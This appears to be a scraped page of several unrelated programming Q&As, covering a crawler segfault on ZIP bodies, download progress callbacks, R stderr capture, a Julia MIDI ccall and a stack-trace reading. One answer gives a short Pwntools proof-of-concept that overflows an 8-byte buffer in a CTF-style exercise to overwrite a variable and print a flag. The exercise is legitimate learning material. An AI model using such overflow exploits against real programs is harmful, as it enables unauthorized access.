my software is a Web Crawler,when I get the body from the http response, it cracks.
resp->body = Malloc(content_len);
memcpy(resp->body, body_start, content_len); //THIS IS THE FAULTY LINE
Malloc is a wrapper function of malloc,so resp->body is not NULL, and content_len is the length of memory area begin with body_start,but its content is "PK\003\004\024", "\003" is ETX(end of text), "\004" is EOT(end of transmission),"\024" is device control 4,I really don't know what 's the meaning of these strange chracters,why does it crack?
The body is ZIP encoded, from the ZIP wikipedia page;
Magic number
none, though PK\003\004, PK\005\006 (empty archive), or PK\007\008 (spanned archive) are common.
You'll need to check the header and unzip the body before reading it.
As for the segmentation fault, any of the 3 parameters to memcpy could be the culprit, code showing their initialisation is required to spot the exact problem. If you're using any of the string functions (strlen/strcpy) on the body in a non shown part of the code, they're likely to break with binary input like this.
Related
I use the code similar to that in Why UrlDownloadToFile::OnProgress always return ulProgress and ulProgressMax with the same value. I expect the ulProgress will be the number of bytes downloaded. However, when I try to download a large file(61,829,200 bytes), the last call to the callback function pass ulProgress as 61,812,069, not same as the final size. Does that mean the file is not downloaded completely? I try to check the downloaded file but find its size is 61,829,200 bytes, not 61,812,069bytes.
Why?
I have found the issue. When status code is BINDSTATUS_DOWNLOADINGDATA, the ulProgress will not reach the final size. There will be another status code BINDSTATUS_ENDDOWNLOADDATA, when that status code appears, then the ulProgress is the final size.
I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.
In a script I often call the function Rcplex(), which prints "CPLEX environment opened" and "Closed CPLEX environment" to the console. Since the function is called rather frequently, it prints this very often, which is quite annoying. Is there a way to suppress this? I tried sink(), suppressWarnings/Messages or invisible(catch.output()) but none of these did the trick. I proceeded to check the code of Rcplex() and found where the printing to the console happens. Rcplex() calls an underlying C-function (Rcplex.c). In the code of rcplex.c I located the commands which cause the printing:
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
Is there a way to capture the output from REprintf() so that it does not get printed to the R-console? One way would obviously be to mess around with the Rcplex.c file and delete the corresponding lines. However, this would not be a very clean solution, which is why I'm asking for another way to capture the output from C-functions.
You had problems using sink() and capture.output() normally because sink() does not redirect output from REprintf, as we see in comments from the source code for REprintf:
/* =========
* Printing:
* =========
*
* All printing in R is done via the functions Rprintf and REprintf
* or their (v) versions Rvprintf and REvprintf.
* These routines work exactly like (v)printf(3). Rprintf writes to
* ``standard output''. It is redirected by the sink() function,
* and is suitable for ordinary output. REprintf writes to
* ``standard error'' and is useful for error messages and warnings.
* It is not redirected by sink().
However, we can use type = "message" to deal with this; from help("capture.output"):
Messages sent to stderr() (including those from message, warning and
stop) are captured by type = "message". Note that this can be "unsafe" and should only be used with care.
First I make a C++ function with the same behavior you're dealing with:
#include <Rcpp.h>
using namespace Rcpp;
// [[Rcpp::export]]
NumericVector example_function(NumericVector x) {
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
// As mentioned by Dirk Eddelbuettel in the comments,
// Rcpp::Rcerr goes into the same REprintf() stream:
Rcerr << "Some more stuff\n";
return x;
}
If I call it from R normally, I get:
example_function(42)
CPLEX environment opened
Closed CPLEX environment
Some more stuff
[1] 42
However, I could instead do this:
invisible(capture.output(example_function(42), type = "message"))
[1] 42
And while the output is is printed to the console, the message is not.
Warning
I would be remiss if I didn't mention the warning from the help file I quoted above:
Note that this can be "unsafe" and should only be used with care.
The reason is that this will eliminate all output from actual errors as well. Consider the following:
> log("A")
Error in log("A") : non-numeric argument to mathematical function
> invisible(capture.output(log("A"), type = "message"))
>
You may or may not want to therefore send the captured output to a text file in case you have to diagnose something that went wrong. For example:
invisible(capture.output(log("A"), type = "message", file = "example.txt"))
Then I don't have to see the message in the console, but if I need to check example.txt afterward, the message is there:
Error in log("A") : non-numeric argument to mathematical function
I'm trying to send midi messages from some Julia code I've written, but I'm having trouble with the midiOutOpen function. I'm following this tutorial here, but the output I'm getting from the function doesn't make sense.
This is my Julia code:
const CALLBACK_NULL = uint32(0x00000001)
function openoutputdevice(id::Uint32)
handle = uint32(0)
err = ccall((:midiOutOpen, :Winmm), stdcall,
Uint32,
(Ptr{Uint32}, Uint32, Ptr{Uint32}, Ptr{Uint32}, Uint32),
&handle, id, C_NULL, C_NULL, CALLBACK_NULL)
println(hex(err))
handle
end
The handle is always 0, and the error that's being returned is "10". I've grepped through the Windows header files, and this doesn't seem to match up with any of the errors that can be expected from the function (see here), so I'm more inclined to think that I'm mapping the wrong Julia data types in the ccall. It's been a long time since I've done anything C-related, so I'm hoping there's something obviously wrong with this. The only odd thing I've seen is that CALLBACK_NULL is defined in mmsyscom.h as 0x000000001 - a 9 digit hex number, even though the function doc specifies a DWORD for the final parameter to midiOutOpen.
Any ideas?
The error is MMSYSERR_INVALFLAG because CALLBACK_NULL is defined as:
#define CALLBACK_NULL 0x00000000l
That is a lowercase-letter-"L" at the end, not the number 1 (one). The call succeeds when this value is corrected.
Can someone please help me with interpreatation of this stack trace:
Loading modules: [ libumem.so.1 libc.so.1 libuutil.so.1 ld.so.1 ]
> $c
libc.so.1`strlen+0xc(80b37ba, fe679d2c, fe679d00, 0)
libc.so.1`snprintf+0x74(fe67d970, 1388, 80b37b8, efef9f68, 80b379d, fe679e30)
> 80b37ba::whatis
80b37ba is unknown
> fe679d2c::whatis
fe679d2c is unknown
> fe679d00::whatis
fe679d00 is unknown
strlen function gets one argument, but in this stack trace I see 3 addresses ? What is the meaning of them ?
regards
The debugger doesn't manage to interpret most of it.
The debugger may not know how many parameters a function gets. So it prints more. But you can ignore the extra parameters.
The parts that do make sense show that snprintf was called, and then call strlen. This is probably due to %s in the format string. The strlen parameter is similar (not identical, I don't know why), to snprintf's 3rd parameter.
So probably some code does something like snprintf("%d %s\n", number, string).
You can find the actual format string at fe67d970, and it will probably let you identify who called it (unless you use the same format string everywhere).